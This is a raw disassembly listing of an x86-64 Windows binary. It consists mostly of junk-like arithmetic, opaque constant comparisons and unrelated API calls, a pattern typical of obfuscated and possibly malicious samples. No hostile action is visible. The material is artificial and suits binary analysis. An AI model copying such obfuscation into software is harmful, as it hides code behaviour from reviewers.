mov rcx, qword [rsp + 0x4d68]
movsx ecx, word [rcx]
and eax, ecx
mov word [0x14016f150], ax
movzx eax, word [rsp + 0xb98]
movzx ecx, word [rsp + 0xba0]
add eax, ecx
mov word [rsp + 0xb8c], ax
movsx eax, byte [rsp + 0x120]
movsx ecx, byte [rsp + 0x11e]
sub eax, ecx
mov rcx, qword [rsp + 0x4d50]
mov byte [rcx], al
movzx eax, byte [rsp + 0x121]
movzx ecx, byte [rsp + 0x11d]
and eax, ecx
mov byte [rsp + 0xe9], al
mov rax, qword [rsp + 0x4cd8]
mov rcx, qword [rsp + 0x4eb0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4de0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4f18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4fd8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4cd0], rax
mov eax, dword [rsp + 0x2b30]
add eax, 0x5d
mov dword [rsp + 0x2b30], eax
mov rax, qword [rsp + 0x4f90]
mov rcx, qword [rsp + 0x4f38]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2ad8], eax
mov rax, qword [rsp + 0x4da0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2ba8]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4fc0]
mov dword [rcx], eax
movsx eax, byte [rsp + 0x11e]
movsx ecx, byte [rsp + 0x11b]
add eax, ecx
mov rcx, qword [rsp + 0x4d50]
mov byte [rcx], al
movsx eax, byte [rsp + 0x11b]
mov rcx, qword [rsp + 0x4fe0]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [0x14016f158]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb8c]
sar eax, cl
mov word [rsp + 0xba0], ax
movzx eax, byte [rsp + 0x121]
movzx ecx, byte [rsp + 0xe9]
or eax, ecx
mov rcx, qword [rsp + 0x4f80]
mov byte [rcx], al
movzx eax, word [rsp + 0xb8c]
mov rcx, qword [rsp + 0x4f10]
movzx ecx, word [rcx]
shl eax, cl
mov word [rsp + 0xa34], ax
mov rax, qword [rsp + 0x4e58]
mov ecx, dword [rsp + 0x2ae0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2ad8], eax
mov eax, dword [rsp + 0x2b40]
mov ecx, dword [rsp + 0x2b4c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ba8], eax
mov rax, qword [rsp + 0x4d70]
mov rcx, qword [rsp + 0x4e48]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4cf0], rax
mov rax, qword [rsp + 0x4f18]
mov rcx, qword [rsp + 0x4e00]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4cd0], rax
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4f68]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4dc0]
mov byte [rcx], al
movsx eax, word [rsp + 0xb9c]
movsx ecx, word [rsp + 0xb88]
and eax, ecx
mov word [rsp + 0xb80], ax
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4fe0]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x14016f158]
mov byte [rcx], al
mov rax, qword [rsp + 0x4e10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4f10]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xb84], ax
movsx eax, byte [rsp + 0x11b]
movsx ecx, byte [rsp + 0x11f]
sub eax, ecx
mov rcx, qword [rsp + 0x4d60]
mov byte [rcx], al
mov rax, qword [rsp + 0x4f70]
mov rcx, qword [rsp + 0x4cd0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4fd8], rax
mov rax, qword [rsp + 0x4de0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x4cd8]
sar rax, cl
mov qword [rsp + 0x4eb0], rax
mov eax, dword [rsp + 0x2ba8]
mov rcx, qword [rsp + 0x4e60]
mov qword [rsp + 0x5000], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5000]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x4fc0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4d40]
mov rcx, qword [rsp + 0x4f38]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov rcx, qword [rsp + 0x4e58]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x11c]
movzx ecx, byte [rsp + 0x11d]
or eax, ecx
mov rcx, qword [rsp + 0x4ec8]
mov byte [rcx], al
movzx eax, word [rsp + 0xb8c]
movzx ecx, word [rsp + 0xba0]
and eax, ecx
mov rcx, qword [rsp + 0x4e10]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d40]
mov ecx, dword [rsp + 0x2ad8]
mov eax, dword [rax]
add eax, ecx
mov dword [0x14016e008], eax
mov rax, qword [rsp + 0x4cc8]
movsx eax, byte [rax]
movsx ecx, byte [0x14016e004]
add eax, ecx
mov byte [rsp + 0x11f], al
mov rax, qword [rsp + 0x4f80]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x4d58]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4ec8]
mov byte [rcx], al
mov eax, dword [rsp + 0x2b4c]
mov ecx, dword [rsp + 0x2ba8]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b40], eax
mov rax, qword [rsp + 0x4e50]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4cd0]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4e00]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4e48]
mov rcx, qword [rsp + 0x4cf0]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x4de0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4f90]
mov ecx, dword [section..data]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x4e58]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x11c]
movzx ecx, byte [rsp + 0x121]
sub eax, ecx
mov rcx, qword [rsp + 0x4f80]
mov byte [rcx], al
mov rax, qword [rsp + 0x4f68]
movsx eax, byte [rax]
movsx ecx, byte [0x14016e004]
sub eax, ecx
mov rcx, qword [rsp + 0x4f68]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb90]
xor eax, ecx
mov word [0x14016f150], ax
movsx eax, word [rsp + 0xb80]
mov rcx, qword [rsp + 0x4cc0]
movsx ecx, word [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4d68]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb98]
shl eax, cl
mov word [rsp + 0xb84], ax
mov rax, qword [rsp + 0x4eb0]
movzx ecx, al
mov rax, qword [rsp + 0x4cd8]
sar rax, cl
mov rcx, qword [rsp + 0x4e48]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4f90]
mov ecx, dword [rsp + 0x2ad8]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2af4], eax
mov eax, dword [rsp + 0x2ba8]
mov ecx, dword [rsp + 0x2b14]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e40]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4e00]
mov rcx, qword [rsp + 0x4ed8]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x4f18]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4ee0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4f10]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4e10]
mov word [rcx], ax
mov rax, qword [rsp + 0x4d80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xa14]
add eax, ecx
mov word [rsp + 0xb88], ax
mov rax, qword [rsp + 0x4d60]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4fe0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14016f158]
mov byte [rcx], al
mov rax, qword [rsp + 0x4d80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4d68]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
jmp 0x14000cf25
mov eax, dword [rsp + 0x2b4c]
mov ecx, dword [rsp + 0x2ba8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e40]
mov edx, dword [rsp + 0x2b14]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jg 0x14000d61e
mov rax, qword [rsp + 0x4f70]
mov qword [rsp + 0x5008], rax
movabs rax, 0xbe160b96e2cf032d
cmp qword [rsp + 0x5008], rax
je 0x14000d553
jmp 0x14000d5a3
mov rcx, qword [rsp + 0x4d78]
call qword [sym.imp.COMCTL32.dll_MakeDragList]
mov dword [rsp + 0x2be0], eax
movzx eax, byte [rsp + 0x121]
mov rcx, qword [rsp + 0x4ce8]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x11c], al
movzx eax, word [rsp + 0xb8c]
movzx ecx, word [rsp + 0xa34]
or eax, ecx
mov rcx, qword [rsp + 0x4ee0]
mov word [rcx], ax
jmp 0x14000d61e
mov rax, qword [rsp + 0x4ed8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4e50]
mov qword [rsp + 0x5010], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5010]
mov rax, qword [rax]
shl rax, cl
mov rcx, qword [rsp + 0x4e00]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x4cd0]
shr rdx, cl
mov rcx, rdx
cmp rax, rcx
jbe 0x14000d5fd
mov rax, qword [rsp + 0x4f90]
mov ecx, dword [rax]
call fcn.140154a20
nop
mov rax, qword [rsp + 0x4e48]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4cf0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4eb0], rax
mov rax, qword [rsp + 0x4d50]
movzx eax, byte [rax]
mov byte [rsp + 0x2be4], al
cmp byte [rsp + 0x2be4], 0
je 0x14000d64d
cmp byte [rsp + 0x2be4], 0x65
je 0x140153552
jmp 0x14015356c
mov rax, qword [rsp + 0x4e40]
mov eax, dword [rax]
mov dword [rsp + 0x2be8], eax
cmp dword [rsp + 0x2be8], 0
je 0x14000d67e
cmp dword [rsp + 0x2be8], 0x65364d84
je 0x1401533c2
jmp 0x1401533fb
lea rax, [rsp + 0x4cf0]
mov qword [rsp + 0x5018], rax
mov rax, qword [rsp + 0x4f70]
mov rcx, qword [rsp + 0x4cd0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4e00]
mov rcx, qword [rcx]
mov rdx, qword [rsp + 0x4fd8]
or rdx, rcx
mov rcx, rdx
cmp rax, rcx
je 0x14000d80d
mov rax, qword [rsp + 0x4ee0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb98]
xor eax, ecx
mov rcx, qword [rsp + 0x4e10]
movzx ecx, word [rcx]
mov dword [rsp + 0x2bec], ecx
movzx edx, word [rsp + 0xb8c]
movzx ecx, dl
mov edx, dword [rsp + 0x2bec]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jge 0x14000d76c
mov eax, dword [rsp + 0x2ba8]
mov rcx, qword [rsp + 0x4fc0]
mov qword [rsp + 0x5020], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5020]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2b40], eax
mov rax, qword [rsp + 0x4da0]
mov eax, dword [rax]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x4e40]
mov r9d, dword [rax]
mov r8d, dword [rsp + 0x2ba8]
mov rax, qword [rsp + 0x4e60]
mov edx, dword [rax]
mov ecx, dword [rsp + 0x2b4c]
call fcn.140154460
nop
mov rax, qword [rsp + 0x4f18]
mov rcx, qword [rsp + 0x4cd0]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0x4e00]
mov qword [rcx], rax
mov r9d, 0xc8
mov r8d, 0x59
mov edx, 0xb5
mov rcx, qword [rsp + 0x4f48]
call sub.COMCTL32.dll_DefSubclassProc
mov qword [rsp + 0x5028], rax
mov rax, qword [rsp + 0x4f90]
mov ecx, dword [0x14016e008]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2bd0], eax
mov rax, qword [rsp + 0x4d80]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4cc0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4d80]
mov word [rcx], ax
movsx eax, byte [rsp + 0x120]
mov rcx, qword [rsp + 0x4d60]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x14016f158]
mov byte [rcx], al
mov rax, qword [rsp + 0x4cc0]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4d68]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
movsx eax, word [rsp + 0xb80]
mov dword [rsp + 0x2bf0], eax
cmp dword [rsp + 0x2bf0], 0
je 0x14000d883
cmp dword [rsp + 0x2bf0], 0x55c1
je 0x14000d85b
jmp 0x140153342
mov rax, qword [rsp + 0x4f10]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x4e10]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4ee0]
mov word [rcx], ax
jmp 0x140153342
mov rax, qword [rsp + 0x4f70]
mov rcx, qword [rsp + 0x4cd0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4e00]
mov qword [rcx], rax
movsx eax, word [0x14016f150]
mov dword [rsp + 0x2bf4], eax
cmp dword [rsp + 0x2bf4], 0
je 0x14000d8c1
jmp 0x140153218
movzx eax, word [rsp + 0xb84]
mov dword [rsp + 0x2bf8], eax
cmp dword [rsp + 0x2bf8], 0
je 0x14000d8f0
cmp dword [rsp + 0x2bf8], 0x501
je 0x1401531c5
jmp 0x1401531f7
mov rax, qword [rsp + 0x4d50]
movzx eax, byte [rax]
mov byte [rsp + 0x122], al
mov eax, dword [rsp + 0x2af4]
mov dword [rsp + 0x2bfc], eax
cmp dword [rsp + 0x2bfc], 0
je 0x14000d930
cmp dword [rsp + 0x2bfc], 0x1b328609
je 0x140153144
jmp 0x140153182
mov rax, qword [rsp + 0x4e40]
mov rcx, qword [rsp + 0x4e60]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4da0]
mov edx, dword [rsp + 0x2b40]
mov ecx, dword [rcx]
sub ecx, edx
cmp eax, ecx
je 0x14000da0c
movzx eax, word [rsp + 0xb98]
mov dword [rsp + 0x2c00], eax
cmp dword [rsp + 0x2c00], 0xb2
je 0x14000d98c
cmp dword [rsp + 0x2c00], 0x7e2
je 0x14000d9d3
jmp 0x14000da07
mov eax, dword [rsp + 0x2b4c]
mov ecx, dword [rsp + 0x2b40]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e40]
mov dword [rcx], eax
mov r9d, 0x6a
lea r8, [rsp + 0x4ec8]
lea rdx, [fcn.140154e90]
mov rcx, qword [rsp + 0x5030]
call sub.COMCTL32.dll_SetWindowSubclass
mov dword [rsp + 0x2b04], eax
jmp 0x14000da07
mov rax, qword [rsp + 0x4d70]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4e48]
mov qword [rsp + 0x5038], rcx
movzx ecx, al
mov rax, qword [rsp + 0x5038]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0x4cf0], rax
jmp 0x14000db54
mov rax, qword [rsp + 0x4cf0]
mov rcx, qword [rsp + 0x4eb0]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d70]
mov rdx, qword [rsp + 0x4cd8]
mov rcx, qword [rcx]
add rcx, rdx
cmp rax, rcx
jl 0x14000db54
mov rax, qword [rsp + 0x4f68]
movzx eax, byte [rax]
mov byte [rsp + 0x2c04], al
cmp byte [rsp + 0x2c04], 3
je 0x14000da5f
jmp 0x14000daaf
mov rax, qword [rsp + 0x4f68]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x11b]
shl eax, cl
mov rcx, qword [0x14016f158]
mov byte [rcx], al
lea rcx, [rsp + 0x20e70]
call qword [sym.imp.COMDLG32.dll_ChooseColorA]
mov dword [rsp + 0x2aa4], eax
movzx eax, byte [0x14016f152]
mov rcx, qword [rsp + 0x4e78]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x11c], al
jmp 0x14000daf7
movsx eax, byte [rsp + 0x11f]
movsx ecx, byte [rsp + 0x11e]
or eax, ecx
mov rcx, qword [rsp + 0x4dc0]
mov byte [rcx], al
lea rax, [rsp + 0xb8c]
mov qword [rsp + 0x5040], rax
mov rax, qword [rsp + 0x4d00]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11c]
and eax, ecx
mov byte [rsp + 0x11d], al
mov eax, dword [rsp + 0x2ae0]
mov ecx, dword [rsp + 0x2bd0]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4f38]
mov dword [rcx], eax
mov rax, qword [rsp + 0x4de0]
mov rcx, qword [rsp + 0x5018]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x4af8], rax
mov rax, qword [rsp + 0x4fc0]
mov rcx, qword [rsp + 0x4da0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x4e40]
mov dword [rcx], eax
lea rax, [rsp + 0x4fd8]
mov qword [rsp + 0x5048], rax
movzx eax, byte [rsp + 0x11d]
movzx ecx, byte [rsp + 0xe9]
sub eax, ecx
mov rcx, qword [rsp + 0x4d58]
movzx ecx, byte [rcx]
movzx edx, byte [rsp + 0x121]
and ecx, edx
cmp eax, ecx
jge 0x14000dc29
movsx eax, word [rsp + 0xb9c]
mov dword [rsp + 0x2c08], eax
cmp dword [rsp + 0x2c08], 0x5678
je 0x14000dbbe
cmp dword [rsp + 0x2c08], 0x7296
je 0x14000dc08
jmp 0x14000dc24
movsx eax, byte [rsp + 0x11e]
mov rcx, qword [rsp + 0x4d60]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x122], al
movsx eax, word [0x14016f150]
mov rcx, qword [rsp + 0x4d80]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
call qword [sym.imp.COMDLG32.dll_CommDlgExtendedError]
mov dword [rsp + 0x2af4], eax
jmp 0x14000dc24
movzx eax, byte [rsp + 0x11c]
mov rcx, qword [rsp + 0x4d88]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x11d], al
jmp 0x140153102
mov rax, qword [rsp + 0x4fc0]
mov ecx, dword [rsp + 0x2b4c]
mov eax, dword [rax]
or eax, ecx
mov rcx, qword [rsp + 0x4e40]
mov edx, dword [rsp + 0x2b14]
mov ecx, dword [rcx]
and ecx, edx
cmp eax, ecx
jle 0x14000dd36
mov rax, qword [rsp + 0x4e10]
movzx eax, word [rax]
mov dword [rsp + 0x2c0c], eax
cmp dword [rsp + 0x2c0c], 0xc9d
je 0x14000dc88
cmp dword [rsp + 0x2c0c], 0xed2
je 0x14000dce7
jmp 0x14000dd36
mov rax, qword [rsp + 0x4de0]
mov rcx, qword [rsp + 0x4cd8]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5018]
mov qword [rcx], rax
movzx eax, word [rsp + 0xba0]
mov word [rsp + 0x20], ax
mov rax, qword [rsp + 0x5018]
mov r9, qword [rax]
mov rax, qword [rsp + 0x5040]
movzx r8d, word [rax]
mov rax, qword [rsp + 0x4fc0]
mov edx, dword [rax]
movzx ecx, word [rsp + 0xba0]
call fcn.140154e90
nop
jmp 0x14000dd36
lea rcx, [rsp + 0x20ec0]
call qword [sym.imp.COMDLG32.dll_FindTextA]
mov qword [rsp + 0x4d78], rax
mov rax, qword [rsp + 0x4f10]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
mov rax, qword [rsp + 0x4e48]
mov r9, qword [rax]
movzx r8d, word [rsp + 0xb98]
mov edx, dword [rsp + 0x2ba8]
movzx ecx, word [rsp + 0xba0]
call fcn.140154e90
nop
mov rax, qword [rsp + 0x4e78]
movzx eax, byte [rax]
mov byte [rsp + 0x2c10], al
cmp byte [rsp + 0x2c10], 0
je 0x14000dd65
cmp byte [rsp + 0x2c10], 0xd5
je 0x14015302e
jmp 0x140153087
movsx eax, word [rsp + 0xb9c]
mov rcx, qword [rsp + 0x4cc0]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4d68]
mov word [rcx], ax
movzx eax, byte [0x14016f152]
mov byte [rsp + 0x2c14], al
cmp byte [rsp + 0x2c14], 0x47
je 0x14000dda2
jmp 0x14000de76
mov rax, qword [rsp + 0x4ed8]
mov rax, qword [rax]
mov qword [rsp + 0x5050], rax
movabs rax, 0x469de0276a66dd6f
cmp qword [rsp + 0x5050], rax
je 0x14000ddce
jmp 0x14000de54
movzx eax, byte [rsp + 0xe9]
mov rcx, qword [rsp + 0x4f80]
movzx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4d88]
mov byte [rcx], al
mov rax, qword [rsp + 0x4f68]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x4d60]
movsx ecx, byte [rcx]
sar eax, cl
movsx ecx, byte [rsp + 0x122]
movsx edx, byte [rsp + 0x120]
xor ecx, edx
cmp eax, ecx
jle 0x14000de52
mov rax, qword [rsp + 0x4f68]
movsx eax, byte [rax]
mov rcx, qword [0x14016f158]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x4cc8]
mov byte [rcx], al
movzx edx, byte [rsp + 0x11c]
mov rcx, qword [rsp + 0x4af8]
call fcn.140154fb0
nop
jmp 0x14000de71
mov rax, qword [rsp + 0x4f10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb8c]
shl eax, cl
mov word [rsp + 0xba0], ax
jmp 0x140152ff3
mov rax, qword [rsp + 0x4e48]
mov rcx, qword [rsp + 0x4de0]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x4cf0], rax
lea rax, [rsp + 0x2b4c]
mov qword [rsp + 0x5058], rax
movzx eax, word [rsp + 0xb84]
mov rcx, qword [rsp + 0x4e10]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4f10]
movzx ecx, word [rcx]
movzx edx, word [rsp + 0xb8c]
add ecx, edx
cmp eax, ecx
jle 0x14000df7a
mov rax, qword [rsp + 0x4f90]
mov eax, dword [rax]
mov dword [rsp + 0x2c18], eax
cmp dword [rsp + 0x2c18], 0x587ad33a
je 0x14000def9
jmp 0x14000df59
lea rcx, [rsp + 0x20f10]
call qword [sym.imp.COMDLG32.dll_ReplaceTextA]
mov qword [rsp + 0x4ce0], rax
mov rax, qword [rsp + 0x4f18]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4fd8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4e00]
mov qword [rcx], rax
lea r8, [rsp + 0x20da0]
lea rdx, [rsp + 0x20db0]
lea rcx, [rsp + 0xb80]
call sub.gdiplus.dll_GdiplusStartup
mov dword [rsp + 0x2bd0], eax
jmp 0x14000df75
mov rax, qword [rsp + 0x4f38]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2af4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x2ad8], eax
jmp 0x14000e074
movsx eax, word [rsp + 0xb9c]
mov rcx, qword [rsp + 0x4cc0]
movsx ecx, word [rcx]
add eax, ecx
movsx ecx, word [0x14016f150]
mov rdx, qword [rsp + 0x4d68]
movsx edx, word [rdx]
sub ecx, edx
cmp eax, ecx
jl 0x14000e074
mov rax, qword [rsp + 0x4d58]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11c]
and eax, ecx
mov byte [rsp + 0x11d], al
mov rax, qword [rsp + 0x4f90]
mov eax, dword [rax]
mov dword [rsp + 0x2c1c], eax
cmp dword [rsp + 0x2c1c], 0
je 0x14000e019
cmp dword [rsp + 0x2c1c], 0xf1595a8f
je 0x14000dff4
jmp 0x14000e074
mov rax, qword [rsp + 0x4d68]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4d80]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x4cc0]
mov word [rcx], ax
jmp 0x14000e074
lea rax, [rsp + 0x11e]
mov qword [rsp + 0x5060], rax
mov rax, qword [rsp + 0x4e10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa34]
shl eax, cl
mov word [rsp + 0xba0], ax
mov rax, qword [rsp + 0x4fd8]
mov qword [rsp + 0x5068], rax
mov rax, qword [rsp + 0x4de0]
mov rcx, qword [rsp + 0x4cd8]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x4af8], rax
mov rax, qword [rsp + 0x4da0]
mov rcx, qword [rsp + 0x4e40]
mov ecx, dword [rcx]
mov eax, dword [rax]
xor eax, ecx
mov dword [rsp + 0x2b40], eax
mov rax, qword [rsp + 0x4e40]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2b14]
sar eax, cl
mov rcx, qword [rsp + 0x4da0]
mov ecx, dword [rcx]
mov edx, dword [rsp + 0x2b4c]
add edx, ecx
mov ecx, edx
cmp eax, ecx
jne 0x14000e1b9
mov eax, dword [0x14016e008]
mov dword [rsp + 0x2c20], eax
mov rax, qword [rsp + 0x4e58]
mov rcx, qword [rsp + 0x4d40]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x4f38]
mov rdx, qword [rsp + 0x4f90]
mov edx, dword [rdx]
mov ecx, dword [rcx]
add ecx, edx
cmp eax, ecx
jb 0x14000e1b9
mov rax, qword [rsp + 0x4d88]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x11d]
sub eax, ecx
movzx ecx, byte [rsp + 0xe9]
mov rdx, qword [rsp + 0x4ec8]
movzx edx, byte [rdx]
sub ecx, edx
cmp eax, ecx
jg 0x14000e1b9
mov rax, qword [rsp + 0x4e78]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0xe9]
sub eax, ecx
mov byte [rsp + 0x11d], al
movzx eax, byte [rsp + 0x11e]
mov byte [0x14016f153], al
lea rax, [rsp + 0xb88]
mov qword [rsp + 0x5070], rax
mov rax, qword [rsp + 0x4e10]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb8c]
add eax, ecx
mov word [rsp + 0xb84], ax
movsx eax, word [rsp + 0xb94]
movsx ecx, word [rsp + 0xb88]
add eax, ecx
mov rcx, qword [rsp + 0x4d68]
mov word [rcx], ax
mov eax, dword [rsp + 0x2b4c]
mov dword [rsp + 0x2c24], eax
mov rax, qword [0x14016e010]
mov rcx, qword [rsp + 0x4af8]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x4d70]
mov qword [rcx], rax
lea rax, [rsp + 0x4f70]
mov qword [rsp + 0x5078], rax
mov rax, qword [rsp + 0x4ee0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb98]
and eax, ecx
mov rcx, qword [rsp + 0x4f10]
movzx ecx, word [rcx]
mov dword [rsp + 0x2c28], ecx
mov rdx, qword [rsp + 0x4e10]
movzx edx, word [rdx]
movzx ecx, dl
mov edx, dword [rsp + 0x2c28]
sar edx, cl
mov ecx, edx
cmp eax, ecx
jl 0x140152fd3
movsx eax, byte [rsp + 0x122]
movsx ecx, byte [rsp + 0x11f]
xor eax, ecx
mov rcx, qword [rsp + 0x4dc0]
mov byte [rcx], al
mov rax, qword [rsp + 0x4f18]
mov rax, qword [rax]
mov qword [rsp + 0x5080], rax
cmp qword [rsp + 0x5080], 0
je 0x14000e270
jmp 0x140152ed1
mov rax, qword [rsp + 0x5070]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4cc0]
movsx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x4d68]
movsx ecx, word [rcx]
movsx edx, word [rsp + 0xb90]
add ecx, edx
cmp eax, ecx
jg 0x140152dcb
mov rax, qword [rsp + 0x4f38]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2bd0]
shl eax, cl
mov rcx, qword [rsp + 0x4f90]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5040]
movzx eax, word [rax]
mov word [rsp + 0x20], ax
mov r9, qword [rsp + 0x4eb0]
movzx r8d, word [rsp + 0xa34]
mov rax, qword [rsp + 0x4e40]
mov edx, dword [rax]
movzx ecx, word [rsp + 0xba0]
call fcn.140154e90
nop
jmp 0x140153087
mov eax, dword [rsp + 0x2ba8]
mov ecx, dword [rsp + 0x2b4c]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e40]
mov dword [rcx], eax
lea rdx, [rsp + 0x20df8]
mov rcx, qword [rsp + 0x4d18]
call qword [sym.imp.USERENV.dll_GetProfilesDirectoryA]
mov dword [rsp + 0x4700], eax
mov rax, qword [rsp + 0x5018]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4cf0]
sub rcx, rax
mov rax, rcx
mov qword [0x14016e010], rax
mov eax, dword [rsp + 0x2b14]
